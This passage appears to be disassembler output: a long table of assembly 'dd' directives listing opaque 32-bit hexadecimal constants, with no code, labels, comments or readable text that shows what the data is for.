		dd 0C45EAD29h, 1BADB00Bh, 7C58B8C7h, 41803C9Bh,	0DEC6B8C8h
		dd 0E25033D3h, 41EC8445h, 200030E1h, 0DD3A829Ah, 4645A853h
		dd 8F67EDDDh, 8DC14C85h, 0ACA12DB4h, 2DA403A8h,	41209D79h
		dd 1A2DD287h, 680A6D7h,	0E7D9EDCEh, 0F644696Bh,	0E5B16AC4h
		dd 0B391404Dh, 45671259h, 8AFBFE86h, 0E113F6B0h, 0D7AB2D8Eh
		dd 91E0F0B6h, 6DD748EDh, 2DE48665h, 49E5D75Ch, 872DF345h
		dd 0C1E0B5F7h, 0C71237A1h
		dd 8BA1BB2Ch, 0F993D7BBh, 3CEAC4BCh, 79E59D4Dh,	0A303F906h
		dd 396039D7h, 6F74EDBDh, 9C896601h, 22C75CFAh, 0ED83CA41h
		dd 83EB37Ch, 62FF1A36h,	0B2716D1Dh, 0D7E67684h,	0D1864566h
		dd 0DAE729ADh, 6D8121E4h, 0E8B4E7CDh, 0A52DDDC7h, 457DA2C7h
		dd 0D7296DEEh, 0ED045DEDh, 22D7E5ADh, 2DCD857Dh, 49A3D770h
		dd 0A671A90Ah, 2165A250h, 43B76DBCh, 0A6417046h, 66D7E42Dh
		dd 0AD90B245h, 8474E796h, 38EDDEC5h, 47525E7h, 93D7ADD7h
		dd 0E0855D6Dh, 8B633337h, 0FFD80430h, 61A9C705h, 0F32D952Ch
		dd 46077881h, 0C7162DD5h, 0B62B99BBh, 2AA13E77h, 0ADB53275h
		dd 712B8018h, 0F820DE44h, 0C451ED90h, 0B13EB6C6h, 0ABECF0C3h
		dd 68A1A1FBh, 36B28175h, 41ED93D7h, 7EDE146h, 464564F7h
		dd 4333EDCBh, 6E29EFC6h, 0DD73A6Dh, 37FC46D8h, 4B05D724h
		dd 9DC6F475h, 0C57D6D55h, 0D71D2DCEh, 0E48420A2h, 0B45195F4h
		dd 2D8DC1E0h, 0EF90F72Bh, 152DAC39h, 885D66D7h,	0E7E3AD91h
		dd 0B5295007h, 0D0207CEDh, 0F64361B8h, 4D60F7E1h, 0DEAD90B8h
		dd 0FCE0C4C7h, 33A3E674h, 0EBA951E0h, 79F72BFEh, 0EDFF04F4h
		dd 0E40D1D91h, 8DED8D20h, 0E2C2D651h, 0C75FC699h, 0B882FCC4h
		dd 34C715ADh, 0B5B3F7E0h, 712523C7h, 0AEEDA8ABh, 98645D3Fh
		dd 0C705F698h, 0AD68CC97h, 0ABE7B8ADh, 0ED1CE861h, 51ED1932h
		dd 7CBECF44h, 286D6B23h, 0D7D98275h, 9E08D992h,	5760DAEDh
		dd 0B5F385D0h, 6565B362h, 43F65498h, 4545E903h,	72DAC4C2h
		dd 0E44679A2h, 0A0410CBEh, 0EDB56C6Dh, 0B8ABF0A0h, 6AB4EBC4h
		dd 47D07B41h, 0C714FCF1h, 95EDF4D1h, 63CE8D2Dh,	0ADAB2397h
		dd 0C65A127h, 0D931FA44h, 77563E7h, 0A2B6EDEFh,	0D0C449A8h
		dd 0A5D7DC47h, 0F96D2F49h, 0F0C85C87h, 0E96DAEECh, 7456BE7h
		dd 0B33CEDF7h, 9A1FC081h, 0E1D70FF9h, 3FCB049Bh, 652A91FDh
		dd 0B4F6D504h, 94046041h, 0F7EEEDB0h, 90AD2C7Dh, 0E7E7A549h
		dd 0C1C14714h, 1767F785h, 5DD9CAC6h, 0AE8086CCh, 0E7BB37B3h
		dd 0FEC56165h, 60814CB0h, 89087304h, 75AFEC22h,	0AFAD6E75h
		dd 0F76D6EEEh, 71E451EFh, 99765EAh, 0EC42EEEDh,	2DDA452Bh
		dd 0C0D6E7B9h, 0BA2D4DB4h, 0A1756BD7h, 9178ADBCh, 0F1C75D6Dh
		dd 0E172FE71h, 0ADB42A79h, 61A9D7E0h, 6301C9C4h, 0B93F23F0h
		dd 0E7C3F184h, 0EF06A7A7h, 2C6D88ADh, 0FEC87559h, 59A18125h
		dd 91ADE7F7h, 3DF8B8F4h, 0E7FB6DA6h, 0D0C56965h, 63E7E9ADh
		dd 0EDE3C745h, 51615343h, 0B347E2C6h, 4561A2E7h, 0F7766DEEh
		dd 0E884E048h, 0D6E7797Bh, 0EDE184E0h, 6DAED726h, 0A7F6D584h
		dd 0C48070E7h, 0F771EDF5h, 0BE1A79E0h, 0CDE7BB6Dh, 7F455493h
		dd 792DE7FFh, 0C4C86814h, 78527D7h, 0D785ADE5h,	0CD06604Eh
		dd 22F7512Dh, 98E4079h,	85EAE783h, 0C598CA36h, 0C4ABA7E7h
		dd 0D7F8C8E8h, 78E91E27h, 7C71D7F1h, 0ADCF84E4h, 6563E724h
		dd 46F7FBC5h, 4D486A2h,	9C56F9F6h, 0C9C77D6Dh, 0AFC7DF01h
		dd 0F9FC8565h, 86F26D5Ah, 0DAC1C104h, 2F7161F7h, 0D42EAD79h
		dd 0FF84283Dh, 0BBA1E0ADh, 0C804B5h, 5563A4BEh,	17C1C144h
		dd 4527C5F7h, 0A4E0EDEDh, 0F604A4FCh, 0EAB440FBh, 90D53681h
		dd 0AFA7E7FCh, 0E1CBE487h, 0D39946E7h, 54F42D9Bh, 0C836BD7Ch
		dd 0A76100A0h, 0CBE48483h, 9927D7DAh, 33ADB8D3h, 0B39581F7h
		dd 0A47E21D2h, 45757561h, 286EA5EDh, 0ADCD7559h, 51A5F7CAh
		dd 5C6D40D3h, 0B3FBB6E7h, 0F45B21D7h, 0C1C427F2h, 80F79DC1h
		dd 2DA50FFCh, 243DD42Eh, 0B4ADFC87h, 0C6A47064h, 0C41860F9h
		dd 0C1058533h, 14E78CC1h, 0D9CA4727h, 59A3E78Dh, 877FDE84h
		dd 36A97CE7h, 0A4BEF4EEh, 0C1455563h, 14E7F9C1h, 0E1CA8727h
		dd 59EDA206h, 0C2A3E0C6h, 709DAA94h, 0DCECEDC1h, 659955A6h
		dd 0E224726Dh, 60FE7879h, 85330438h, 65C1C185h,	440714E7h
		dd 0D7F8A2FBh, 0D2B38993h, 0E4A47EA2h, 2D687575h, 0E78EF734h
		dd 0FBE4E446h, 0A1ED75C7h, 0E4CCE4FFh, 7D614965h, 0A9AFE96Dh
		dd 6D1DC161h, 0F7C7C751h, 0A12DD186h, 20D885A1h, 80ABE0BAh
		dd 93D751A6h, 27F080F8h, 0EDF9444Dh, 41AAC7DFh,	0F3CF5C6h
		dd 44F0BD61h, 73C72DD9h, 77E3E4D3h, 28BC7231h, 0B984A9A0h
		dd 0DF54E725h, 2ADDF07h, 0ADE8C463h, 0EC7910D4h, 446149E5h
		dd 2FAFE9EDh, 0FEEAF265h, 5493E731h, 2774A70Dh,	0C708B651h
		dd 0F7262DFCh, 0FB8775ADh, 0EF6189FCh, 0ADB5595Dh, 452A6197h
		dd 3F6DE646h, 46C485D7h, 59642DE1h, 0EA04F07Eh,	0FD4138FFh
		dd 1FAC5FCh, 41E8C72Dh,	0EC308183h, 47CF454Dh, 7124ADC9h
		dd 0F605684Dh, 0E55DAC89h, 87216D4Dh, 416D4DE3h, 7ED362Dh
		dd 0E159EDD7h, 0F7FD6D66h, 0D1C6B83Bh, 6B9DA2F0h, 97C5C559h
		dd 6169F729h, 0F76DECC4h, 0C4C4B4C7h, 0E7FD74E1h, 9F7265A4h
		dd 5D7FC7Ch, 0AD79ED4Ch, 0C8204326h, 3314E984h,	0C541AAADh
		dd 0C7F0FCC9h, 692161A1h, 6DC4456Dh, 0ED7EC3B1h, 0EC7DE891h
		dd 0F374D485h, 6DB068D2h, 0D7842D47h, 0A849E485h, 2BE7FF24h
		dd 0ED6B6F75h, 59226F8Fh, 8467D26Fh, 8261A4AFh,	0E7FF2DA4h
		dd 0E7C561E7h, 0EF5DACF4h, 1CEAAE4Dh, 0DB8FE7DCh, 0A9ADE0C6h
		dd 6F59A3ADh, 1BA467D2h, 0C2E9DC70h, 48C7FCF7h,	2D3980C5h
		dd 5DEC6DCCh, 0EBED4D49h, 634B8E4Ah, 0C7A56DAEh, 0EEC51FB6h
		dd 0DDE7B56Dh, 0ED676D70h, 3CABF744h, 0D0ADCDA0h, 84FB8FE7h
		dd 0D7E0CECBh, 0E02FF9D2h, 89F7E34Ch, 21FFC5D9h, 6964E7DFh
		dd 515673ABh, 6F7569ADh, 3F6EED71h, 0E42FA4B8h,	6C658A21h
		dd 7EB6FA37h, 4528B89Ch, 0B3EDF584h, 0C56C43C7h, 0AF9121DFh
		dd 6F6F756Eh, 0F6F7F42Dh, 0A4CE86C7h, 6DA58F39h, 0D8A4DF06h
		dd 457DA2BBh, 8C6A33CEh, 0FCC67927h, 0FEAF8D64h, 417FF4D8h
		dd 59EE834Bh, 572467F5h, 47D7F885h, 0D73D47C1h,	0F60717E6h
		dd 22A15EE0h, 0EDE94575h, 45E6AD59h, 27ADE246h,	0CC603ED7h
		dd 0E7F06D1Ah, 0E546043Dh, 85D7C6EDh, 43750C8h,	0EB8FE7CCh
		dd 0CCC9D645h, 2FF90FD7h, 0D7A14CE0h, 5ED545E0h, 25EED56Dh
		dd 0ADBED67Dh, 79A59FADh, 0CC6D8541h, 0E16DAB5Dh, 0D7C0FC97h
		dd 4600E973h, 72C799EDh, 7C93E3EDh, 4D66F7B3h, 9AEDEDC4h
		dd 815DEC81h, 0F7F16DAEh, 0EA04CC3Dh, 0ADB19AF4h, 0ED6D1159h
		dd 51A2B2ABh, 0E6B0E704h, 4B3F0C7h, 0C7E1B0E7h,	0E74493F0h
		dd 0F0C7E0B0h, 74EE44B3h, 6566F7E3h, 0B2AD90EFh, 45563E7h
		dd 0E2F2EDEAh, 0FCC67DE4h, 0E9E72954h, 2D99A355h, 0F43CF7ABh
		dd 0CF74EF04h, 0EA4964ADh, 0F7E0AD6Dh, 0B3AE37BCh, 0BCF7E640h
		dd 48F0C507h, 6A2A5CEh,	136DEE87h, 6552173h, 7082F7EDh
		dd 0EFC7ABE9h, 0B9D4BA6Dh, 6D3DC2D9h, 7B44F5Fh,	761C504h
		dd 4575A2E7h, 0E776B4DAh, 0AAA3E2DDh, 0E4E78DADh, 0FF99D661h
		dd 70BCE7EFh, 0A12DE004h, 84C0FF91h, 4132ADD1h,	0F2C500C5h
		dd 6A2D17ADh, 2DED4645h, 0D8F4F77Eh, 652DCE84h,	47A8BDF7h
		dd 0C71FC3E8h, 0AE7D7524h, 0BEA10E6Dh, 0B7D985C4h, 55A4B043h
		dd 0B86DF4C5h, 0C72B05A1h, 512C2DE5h, 876171EEh, 77A15BD9h
		dd 47C187E4h, 0ECB2F741h, 0EAD8501h, 0C3F18E55h, 5594ED4Dh
		dd 0A0534D24h, 0A481817Ch, 262E7351h, 49246130h, 0C794FCAEh
		dd 5DB8FE7h, 0D7E28BCEh, 0D92FF9D2h, 0FC7D1466h, 0F7C2EACCh
		dd 7DE7F79Ch, 0AEA3C5AAh, 0C4612AA1h, 0D7E7C4D4h, 0E42FF9D2h
		dd 0CC748763h, 1EE8BF81h, 492CD741h, 0EE63D7AEh, 0D9616FB3h
		dd 550E2D4Dh, 0F92BD58Eh
		dd 0E105D623h, 26F34769h, 0C4FDC77Fh, 0CC6DA561h, 0D961A34Dh
		dd 855D2D75h, 0C9C7E87Bh, 32E7FB2Dh, 0AD9B62DFh, 0D33D4375h
		dd 2A2DB522h, 22F8FA9Ch, 0D7153458h, 0A7E3375Eh, 34C7480Ah
		dd 6DE88468h, 456DE7B4h, 0BBADD346h, 882B1EE7h,	930A2D69h
		dd 7D9F5D21h, 221C932Dh, 32BC9A5Dh, 0D045F7DDh,	1A32FE04h
		dd 0BA0018C7h, 2C52AD62h, 80FA14DEh, 5BF769C7h,	0A565317h
		dd 67B5F7B6h, 0A5F7EC06h, 0C17129B3h, 0F7CFAD8Dh, 0A89455A5h
		dd 83214ADh, 74C685D4h,	75A2E733h, 8EC387EEh, 84712DBDh
		dd 0F7712DD5h, 0F746E4B0h, 0C3E7B1ADh, 0ED987D08h, 7C04C716h
		dd 74F4F704h, 2C902FE7h, 0A083EDAEh, 0CB8541A2h, 0EBE7B4CCh
		dd 0B4B44D5Dh, 65E4E7F5h, 81B4FB84h, 0AE49A021h, 0E097ED75h
		dd 91A2F539h, 207DCCADh, 4F8C465h, 0AD66F7CFh, 35ADDA84h
		dd 46516CF2h, 0F7B1F4E3h, 0D3625DE0h, 6170A704h, 0F7EF847Dh
		dd 0BC43F7DEh, 0FF7CEC44h, 205B3EF2h, 0E7EA6D5Bh, 0B1A355E5h
		dd 72E76474h, 0EDA0E248h, 60B3F73Ch, 0C0845AECh, 427DE4B1h
		dd 8D562D55h, 6EE200B9h, 2083562Dh, 0ADBA1459h,	0E5FCF405h
		dd 2A2D34BBh, 32DBFFF7h, 0FC75E19Fh, 0AF037525h, 32A995A1h
		dd 0EDF185F0h, 71E84C66h, 7FEDCA04h, 0B45D61E7h, 0F4BD2DA7h
		dd 95EE1363h, 0A15304A1h, 0B4C04655h, 656D5C69h, 316DEC86h
		dd 0C5FFB35Fh, 0E771BCC8h, 0C8055D6Bh, 2A91BC2Dh, 0B7D3046Dh
		dd 81225EB7h, 37F5ADh, 0A34923A3h, 6FEEAD65h, 40D6D25h
		dd 36FF06Dh, 87D1C5C0h,	5C0C5131h, 0FDADCDA8h, 85EF7CD7h
		dd 0C7DECFC9h, 6B0DCDBFh, 0C1F7DEADh, 0ADD5E8E1h, 65A31555h
		dd 57ADB2E2h, 0A17C7C90h, 0F7392D51h, 0BC9D94A4h, 27E7B8ADh
		dd 0B7DC444Dh, 59E9F773h, 0ED58E230h, 0BCE84160h, 41BBA794h
		dd 0C0C6552Dh, 6BD7DBBCh, 4FEE854Dh, 5921E7FFh,	2C6D1589h
		dd 5692525h, 0E7CB2DDAh, 70F6612Ch, 0A9D75F6Dh,	0E7FC6F2Ch
		dd 49E1AF80h, 6AAD44A3h, 0C6C7FFF7h, 9E9A61C5h,	0CF04F195h
		dd 0D3F0E7EDh, 0ADF346C5h, 65E5152Ch, 742DCE84h, 75CB449h
		dd 0F7CC8ED2h, 0B4CD5D6Bh, 26E7FF64h, 0ED6FA349h, 7DAE2FC2h
		dd 74CFDF63h, 0EC616BD7h, 0D7FDA1F5h, 0F10551EDh, 0A2F7E587h
		dd 0BFF9C475h, 61E9E7FFh, 678FCC6Ch, 84E4CEC7h,	0F7872DCDh
		dd 612C5812h, 0E45008C7h, 0F4B3E17Dh, 75EFD7E6h, 0EF7779ACh
		dd 0D49F41D7h, 553E2771h, 0F105716Dh, 2AC7DF87h, 67870851h
		dd 77CE45A3h, 0BF44FE05h, 636126F7h, 0BB4C6D7Dh, 6095CC7Eh
		dd 0A2E71A6Dh, 0B2FCC571h, 5C12C71Fh, 0EEADCD6Fh, 25D77CD7h
		dd 0F7C74484h, 657BB11Ch, 0C15B57ADh, 0ADD106E0h, 18FCC7E9h
		dd 0F1EDB900h, 4F40CE1h, 0A3FBBBCFh, 0C14445E9h, 0A69303EDh
		dd 2DEA4598h, 0E0B0AD75h, 44B49936h, 1D0B9E7h, 0F7256DA3h
		dd 0FD6F1040h, 7CD7E374h, 34FA86D7h, 7D23A34Dh,	892D1A43h
		dd 0D14525E7h, 0E7CB6D9Dh, 0F985D752h, 6364F27Eh, 44FE8565h
		dd 7F7F7C9h, 1621E284h,	4655EDF0h, 0B3EA6DE1h, 5DC9CD7Eh
		dd 5ED78972h, 0B015BE8Bh, 0A7F2D7CCh, 0FA02E8C4h, 0BA71AC92h
		dd 0E788346Dh, 0C0064D22h, 68D7DFB4h, 0F4E3C455h, 416071DDh
		dd 252D8D63h, 3B5521F7h, 91CA2D25h, 0F584C435h,	0B3F7CBEDh
		dd 0ED9EE1FCh, 61A2C7D3h, 312DBD6Eh, 66D6BE7h, 91646DDBh
		dd 0E0067DE6h, 0C3D7136Dh, 0EDFC04FFh, 14BEE7FFh, 7F49BB3h
		dd 7E5D28E7h, 0E7E7F774h, 0EBC5756Dh, 66D774EDh, 0ADD70669h
		dd 0EF3EF71Ch, 0D584B4A9h, 0A1B86BA1h, 0F7D934ACh, 0F107512Dh
		dd 0BFE7F748h, 74CC8428h, 79E0D7F1h, 146DAE0Ch,	86796BE7h
		dd 0E2F7ADF5h, 0EBC55042h, 3043BD2Dh, 0EDBAFD50h, 835C7B1h
		dd 0C1ADFA84h, 0D0FBCBB9h, 0F72B2D60h, 0E204E7FFh, 6F8C3321h
		dd 0E6ED70A0h, 2C02E7B7h, 81AD65C2h, 0B3712DA2h, 9243ED63h
		dd 0E4C641E6h, 2782CDADh, 2D657C59h, 5D6DD7F5h,	302DCDC6h
		dd 89A2BFE7h, 0D77C8F97h, 0C6C4616Dh, 0AB70C5F4h, 0BCBB5375h
		dd 652C908Dh, 0EFB5BB9Dh, 0C5D47C64h, 0B09D44FEh, 0E284F7FFh
		dd 25EC1621h, 0D6EF2341h, 0E4C1D7ABh, 0ABEDE104h, 145E580h
		dd 63692D91h, 0A5D14563h, 0AAA1976Dh, 70FD4645h, 33BB93BCh
		dd 0DFFBE039h, 927DA8E7h, 0F75C7885h, 0F37F30CAh, 0C6C7D944h
		dd 2DFF4644h, 0C7FFF76Bh, 9CE7D785h, 36562F7h, 0C7DFEDB3h
		dd 0B6FE44F1h, 0E4858BADh, 2DFCC70Bh, 7D66E7B8h, 5F23C784h
		dd 48C0B5Ch, 0B5913BD4h, 0F3876FD7h, 0ED91FA38h, 0ED72D179h
		dd 20FFA2E7h, 0A1C2EB04h, 0AD71605Dh, 0E7FF64F4h, 7FB95D6Bh
		dd 0A52E2DADh, 13210D6Dh, 552070E4h, 0E1ADA623h, 6C07EFAh
		dd 3436B7F5h, 0D4C5224Bh, 0F4C73303h, 1BDAC5E8h, 38CAF731h
		dd 46DAEE0h, 849FB5D7h,	0C727ADD1h, 0CBC700C2h,	61E787B4h
		dd 2DCEC545h, 65EDD727h, 4DEDF544h, 0D184BDA1h,	0E7FDB4A6h
		dd 8B4151A4h, 68C71233h, 0ADBE085Dh, 2A2DA5C1h,	8DEDDC86h
		dd 0F679A8ADh, 0B5CA23E0h, 0EA455415h, 227A9FA2h, 0A2838171h
		dd 7DAA6138h, 0CD6DB58Eh, 0C7A4FF73h, 588CFCF0h, 0ED045DEDh
		dd 0E4637EBCh, 0EDAE4C49h, 496CE028h, 7CFCEFC6h, 84C0F5D7h
		dd 0E08F76CDh, 0CD06641Fh, 0A9E74E2Dh, 0ADA54C61h, 412EB147h
		dd 1A44B2C1h, 6975A2C7h, 0E757AD9Fh, 0E28440FFh, 71E7742Dh
		dd 686C1C0h, 0C4838105h, 27B4EC06h, 0C6C33FC7h,	93CD2DF3h
		dd 0E3C5516Bh, 0A2F76534h, 2DF88561h, 0C45291C4h, 83F4ED04h
		dd 0E3756DF7h, 0E7706DACh, 0EF4649A4h, 0A2B144EDh, 0EDC4C551h
		dd 0F4FAA1C4h, 0E77CDD85h, 45C6B68Dh, 91D30CE6h, 0B5824924h
		dd 0E0F7B144h, 0EDF98651h, 0C4F4E7ECh, 0DCADCD86h, 0E34C31D7h
		dd 9D86EDA2h, 0C446882Ah, 19154EDh, 6DEE45ECh, 69A4E776h
		dd 8744B5C3h, 448CE1C7h, 0F786EDEFh, 0F4864521h, 6EB147ADh
		dd 0F4ED854Dh, 4525616Ch, 0E636AB8Dh, 0C5583BE7h, 0E7FF3CD5h
		dd 0D4C569E2h, 0E6F7DFC4h, 2DAC8F79h, 0FAFDD715h, 0C874EFC5h
		dd 83FBFED7h, 0D72833B9h, 6129716Eh, 0F7BD2374h, 44CB84F8h
		dd 41E9D70Ah, 0A27C86E1h, 435C42D7h, 0E730B6BDh, 0ECC7516Bh
		dd 0BC5FEC2Dh, 2DCDC554h, 0F8B48249h, 0DC4FAD4Fh, 5061A9F7h
		dd 0D77C2D8Dh, 0BA4D7CFEh, 2A1F1DADh, 0EDF50479h, 496BA015h
		dd 6F7FEB04h, 0C459A203h, 0E7E1B4E4h, 0D50555EDh, 11F7F2EDh
		dd 0AD82E38Ch, 51607346h, 0A5ADEBC7h, 0C66166D7h, 11CBADD3h
		dd 0E3C5E848h, 61E7862Dh, 0BFE7C561h, 4CCFE7E9h, 0D8ADBC8Eh
		dd 0C74D6071h, 0F7C5EDEDh, 0D0046D6Ah, 0A9C7A4ADh, 0EDE8C565h
		dd 0DC553116h, 6636E944h, 0CE496501h, 0E7DFADA3h, 9ECF5D27h
		dd 60F7D9EDh, 6DD4046Dh, 49E0B1A8h, 94ADF5C7h, 6D516A81h
		dd 0E7F5B6A1h, 0B66269E4h, 0E0F78773h, 0ADA42271h, 0D8BCAF24h
		dd 2734BD69h, 297128F7h, 0F7E7F69Eh, 0E7844128h, 713374F6h
		dd 0B989A9CCh, 0DC4AD795h, 6830BD26h, 0C5D0369Fh, 0D7A3ADD0h
		dd 866FC0B3h, 75F790EDh, 87DB87C0h, 4ABA831Ch, 3FEDCE46h
		dd 4712503h, 1DB9EDF0h,	0B88265A0h, 0D5C7722Dh,	3BBA03C4h
		dd 0D8050104h, 73EDAA21h, 0E4D203h, 0C79A2D84h,	0E784D0B4h
		dd 0E5E7E72Dh, 0ED410179h, 6DE690C1h, 99F4D886h, 0C2E84CD7h
		dd 0C72BADA7h, 0FA0471E9h, 65E73431h, 0EDB4CA55h, 75E57353h
		dd 0E0B4A4E3h, 2275E4F7h, 0D75E2D8Ch, 88B39F39h, 0A6C7B837h
		dd 0ADCB8659h, 4928E7E1h, 766DACAEh, 0ABC0D0F7h, 93D12D8Ch
		dd 0F5455E9Bh, 28D7A416h
		dd 0F7CD4459h, 5C5BD724h, 132DF8C5h, 0E3752861h, 8C79069Dh
		dd 8D3064B9h, 6BA3A76Dh, 7ED7C649h, 71A2E71Fh, 396D7D55h
		dd 8557D8BCh, 0E7B4FFD8h, 0EE8465EBh, 2FD7DF3Fh, 8FE28545h
		dd 61EA8D4Eh, 0AC04F4C6h, 5585BD7h, 6B21F9F2h, 178D49EBh
		dd 8CC7D76Dh, 2DE84647h, 0EC87C233h, 342D9D2Dh,	94C80DECh
		dd 0D7F46DA8h, 0FCC561A5h, 0F2B0E4ADh, 7ED746F8h, 456BDC34h
		dd 0AE04E345h, 87DB3FC7h, 531781FEh, 0F146847Eh, 0E5DE466Dh
		dd 6D19B775h, 5C491349h, 14AD4963h, 0EEF3BEE7h,	9B68F4BCh
		dd 881C6CF9h, 0A2F73137h, 6F5C445h, 0C39801DEh,	0A30EFE45h
		dd 0C664DBF7h, 0D7330EC0h, 0ECC66966h, 0A31D1E34h, 0C18F2A4Dh
		dd 79AFFEACh, 0B8B96963h, 879E8D7h, 0F7B33993h,	8C624564h
		dd 0F5F7C12Dh, 0EDCE04B1h, 0F25F8DEh, 0B1F8E285h, 0D1DCBD21h
		dd 0C77E2D8Eh, 0EE44D7B9h, 0A8E70681h, 2DB94365h, 496B11D9h
		dd 204E384h, 85172BB0h,	0E76D44CBh, 0E44508B7h,	0DDBB1DFEh
		dd 0F8E205FDh, 0F33FC7A6h, 76B8F884h, 0E27D248Ch, 9D4EED45h
		dd 0B89051E1h, 6AE7B22Dh, 339C6D7Dh, 79A6F2F6h,	0DBAD48B3h
		dd 84DC02C7h, 0E4D306D2h, 8D5685EBh, 67E8DEADh,	76FCC751h
		dd 61E2D71Ah, 17ED9633h, 0F449A461h, 3193ED4Bh,	0ECC5E846h
		dd 0A5E7316Dh, 0EDCE8659h, 49283BC2h, 8B2DCC85h, 0F181F5F7h
		dd 315BAD2Ah, 0FB756DEFh, 0A9BAE26Dh, 3E8A5175h, 4128C7B3h
		dd 0F870C2C6h, 4230FAE7h, 0C71F3E4Ah, 26F17562h, 47A4EAF7h
		dd 0F8E285F8h, 8A4D7A4h, 54EDEB46h, 0F449209Dh,	0A2EC6D63h
		dd 0CDC49CF3h, 0B9C776F7h, 11C9C4D7h, 3B29E726h, 6EF16A7Dh
		dd 45596B50h, 0E7B360EBh, 0B89D20B7h, 0A1D2F660h, 58895175h
		dd 6966B30Eh, 0CAAD68BFh, 76A568A4h, 0E7B739CDh, 6B3D8E2Bh
		dd 280BC2F9h, 2DCC0641h, 81F5F74Eh, 9F3729F1h, 756D6CF7h
		dd 93A76DF3h, 89CE481Bh, 0A8D7DF78h, 78FD866Dh,	496AE7BAh
		dd 0E8ADD946h, 0F0B536A4h, 51D6B8E9h, 0F944616Bh, 0AFC7DFA3h
		dd 0B0859971h, 0B503E77Ah, 0C67CCA3Ch, 0FF2894F7h, 64C72D5Ch
		dd 0F004C0FEh, 3C02EBC2h, 0AD8223A5h, 0A53F22A0h, 8AD2B09Fh
		dd 0EFF083B4h, 0E7DF2D92h, 0F8064D64h, 6BE719BCh, 7ACD8561h
		dd 0A87BB05Dh, 9FFAE904h, 46922BEh, 131904C4h, 0B42271A0h
		dd 0B6BDE736h, 2D4D7BE8h, 235FF79Bh, 1302FD46h,	0FA456D51h
		dd 0E7376DAEh, 0E505E4FEh, 0D824D722h, 12FD070Ah, 0B918D7C8h
		dd 792D765Ah, 0FA81D9F7h, 21EEF4D0h, 0B1E341E4h, 0D6D7F8EDh
		dd 0F4CA84E0h, 0F47D21EAh, 0F76DAC56h, 0C4C4F7E7h, 0D71FEDEDh
		dd 0C5C76965h, 0A99141ADh, 0CCC3C465h, 55A4A1F7h, 46D48822h
		dd 62DEB631h, 3D84A4ADh, 0E0215165h, 0F1BFF034h, 0ADEDC5C8h
		dd 0D9B39169h, 0F0A4D260h, 843AEB8Fh, 91D23EF0h, 0C68645AAh
		dd 2013981Ch, 36CDC669h, 7966D732h, 49BBF0C6h, 85A24081h
		dd 0F7E047ECh, 0BC0C6DE8h, 6DF7DD2Dh, 6D2045Dh,	416D91D5h
		dd 0B5EDAE29h, 62FBF6C7h, 0D7D12D92h, 229D996h,	0E0D7B186h
		dd 2DFE0569h, 0EB991115h, 71F8E2C4h, 0ADE3D8E7h, 9389EDB2h
		dd 8DA16566h, 0A4A14CD1h, 3687AD5Dh, 3E7C700h, 20EDBEE8h
		dd 4A0CEF2h, 0D707F4FEh, 0DE878043h, 0C7F7D7EDh, 0DFC1C7F4h
		dd 796BD755h, 0E5C9C004h, 583619Ch, 0FCF22DEAh,	652D6D68h
		dd 6549E0ADh, 2D8DC241h, 49E2E75Ah, 0F42D8EA1h,	2CE3C6C7h
		dd 0D71EFF9Dh, 0F785EF82h, 40E7048Fh, 87C5C566h, 0C4458397h
		dd 382DF446h, 398C7A63h, 79E0AD0Eh, 0EB8613F2h,	0C183932Dh
		dd 0AD90A1E4h, 6966D7A7h, 0E4AD90A1h, 0C6696DD7h, 0D7752DCEh
		dd 0CEC665E6h, 0C6C76A2Dh, 4F645EFh, 780EE7CAh,	0B4B69F0Dh
		dd 0B85D2AE7h, 0F707BF92h, 0CE065521h, 0AAD7D7EDh, 0EDFE8641h
		dd 0E010916Ah, 4804ABBCh, 45BE6941h, 0E0D0BFF2h, 0E585C8BEh
		dd 0BEC7F52Dh, 0ADBA33D9h, 0BC63E8D3h, 26FFA343h, 8DF0F56Dh
		dd 692CED44h, 0EA856D22h, 0AFC706EDh, 0CF784D75h, 456CC704h
		dd 9F37AA41h, 4D59EEC7h, 927DF128h, 4C8C6D62h, 1514246Dh
		dd 0BFC5043Bh, 0C0D2F7D2h, 5835FA84h, 0C571A9E7h, 0D796ADDFh
		dd 0D744716Bh, 84E7AFC7h, 0ED7DD5D2h, 0D7793F30h, 7E04EB05h
		dd 0C4EF40D7h, 0C7D287C5h, 0EC46C8FBh, 609D562Dh, 8B1FAD75h
		dd 68C3E7EFh, 1F2D7CFFh, 0D6D2FF7h, 1F4F0C76h, 98BE5120h
		dd 0C7F7B5BEh, 39E244FCh, 49645317h, 6904F6BFh,	0E9452ED7h
		dd 5170F458h, 93775125h, 54B54837h, 0E6C1A9D4h,	0D99625EEh
		dd 0C6F6D804h, 8DD9D1E7h, 25F66DA7h, 0C1A8D590h, 0ED25FEA6h
		dd 0A69D0F55h, 6DA2F7B5h, 4166EFEBh, 4BED5C05h,	4DCAAD2Eh
		dd 0DB2BFD1Fh, 0EE7A94Eh, 26EAEA78h, 13EFF7A2h,	26ED20AAh
		dd 6A7D6DC7h, 9D1126CBh, 0D9075D66h, 2CE72626h,	0E1EBF57Dh
		dd 712F8DE5h, 0CCCE306h, 0C4ABF4C7h, 0E72DEDF5h, 3841F4F4h
		dd 6D3891DCh, 6D27B16Dh, 656598A3h, 0E9E4F971h,	0B16DA3A8h
		dd 98A3AD38h, 0F97165E6h, 0EDB12FE4h, 0EDE50659h, 0FC77E7E4h
		dd 16EDE604h, 8469E951h, 0D7E430FAh, 0CF45716Bh, 6BE7E3ADh
		dd 6DD50651h, 0D436B393h, 0F574AC63h, 0C5F4F1A9h, 81B46DECh
		dd 0B5EE59E5h, 0A9C707ADh, 0EDF04645h, 45E95DECh, 0FAEDD246h
		dd 0E2712A90h, 0C7D1AD93h, 0E1C750BFh, 6DD7CBEDh, 0ADFEC565h
		dd 752A90E6h, 0E7EDC104h, 6656DD7h, 0E7A4FFC2h,	8D125569h
		dd 27F7CC2Dh, 6DA86145h, 51A5E774h, 0DF38ECC7h,	5716DD7h
		dd 0D755FCCCh, 0A1D28432h, 20E7DFEDh, 0ADA5DD69h, 4D6BE7F1h
		dd 0D778F407h, 0C74125A2h, 0B098EDE3h, 0AD0A4967h, 6BE7E038h
		dd 38D4C465h, 59A5A108h, 0E27492EEh, 45E4BED7h,	0D7E974D2h
		dd 0A373E4BEh, 0BED7ECADh, 0F78D32DCh, 0FCB4600Fh, 0E900CDC6h
		dd 2AC88DE7h, 0D7302D66h, 0DC0659E6h, 24E77AEDh, 0EDE00475h
		dd 45E4E77Fh, 3134E584h, 0C6FCC5C7h, 50A234FBh,	0D846C438h
		dd 0BF823A6Dh, 0EDDE45E4h, 692590D2h, 3A6DE4C7h, 4651E692h
